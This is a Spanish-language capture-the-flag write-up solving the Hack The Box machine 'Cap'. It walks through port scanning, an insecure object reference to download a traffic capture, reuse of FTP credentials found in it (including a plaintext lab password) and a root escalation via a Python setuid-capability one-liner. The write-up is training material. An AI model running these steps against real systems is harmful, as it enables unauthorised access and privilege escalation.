En este writeup vamos a ver la solución de la máquina Cap de la plataforma de Hack the Box.
Conexión
Para empezar a trabajar en este reto tenemos que conectar nuestra máquina de ataque a la VPN:
$ openvpn gorkamu-htb.ovpn
Enumeración
Si realizamos un escaneo de puertos básico con nmap vemos lo siguiente:
$ nmap -p- --open -n -T5 -v 10.129.148.9 -oN nmap.txt
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-title: Security Dashboard
- Puerto 21: vsftpd 3.0.3
- Puerto 22: OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
- Puerto 80: gunicorn
Haciendo un whatweb vemos lo siguiente:
$ whatweb [http://10.129.148.9](http://10.129.148.9/)
http://10.129.148.9 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[gunicorn], IP[10.129.148.9], JQuery[2.2.4], Modernizr[2.8.3.min], Script, Title[Security Dashboard], X-UA-Compatible[ie=edge]
Haciendo un dirbuster o un wfuzz no obtendremos muchos resultados.
La ruta /capture tiene una redirección 302 y si nos dirigimos a /data/1 podremos descargarnos una captura de tráfico pcap.
Si nos fijamos en la respuesta que devuelve la petición a /capture vemos que incluye la cabecera “Location: http//10.129.148.9/data/1”
Vamos a abrir burpsuite para capturar tanto la petición como la respuesta y hacer que nos devuelva /data/0 modificando tanto el Referrer de la Request como el Location de la Response.
Una vez modificados ambos valores vemos que se hace una redirección mediante JS a /download/0
Hacemos una petición a esa ruta y descargamos el fichero 0.pcap mediante burpsuite.
Abrimos el fichero pcap mediante Wireshark y empezamos a analizar el tráfico.
Capturar la User Flag
Entre otras cosas podemos ver el tráfico FTP por el cual encontramos un usuario y una contraseña.
Nos conectamos por FTP con las credenciales que hemos obtenido y encontramos lo siguiente:
Descargamos el fichero a nuestra máquina de la siguiente forma:
ftp > binary
ftp > get user.txt
local: user.txt remote: user.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for user.txt (33 bytes).
226 Transfer complete.
33 bytes received in 0.00 secs (596.7882 kB/s)
ftp> exit
221 Goodbye.
Ya tenemos la USER Flag de la máquina Cap.
Capturar la Root Flag
Nos conectamos por ssh con las credenciales anteriores
$ ssh [nathan@10.129.151.147](mailto:nathan@10.129.151.147)
Password: Buck3tH4TF0RM3!
Vamos a buscar a ver si hay ficheros SUID con los que hacer escalada de privilegios:
$ find / -perm -u=s -type f 2>/dev/null
Para hacer la escalada de privilegios lo mejor es leer y entender este enlace sobre el uso de “capabilities” en Linux. https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities
Para buscar aquellos binarios con capabilities hacemos lo siguiente:
$ getcap -r / 2>/dev/null
$ which python
/usr/bin/python3.8
$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash");'
Después de ejcutar este comando nos abremos converido ya en root y podremos dirigirnos a /root para ver la flag de ese usuario la cual se encuentra en el fichero root.txt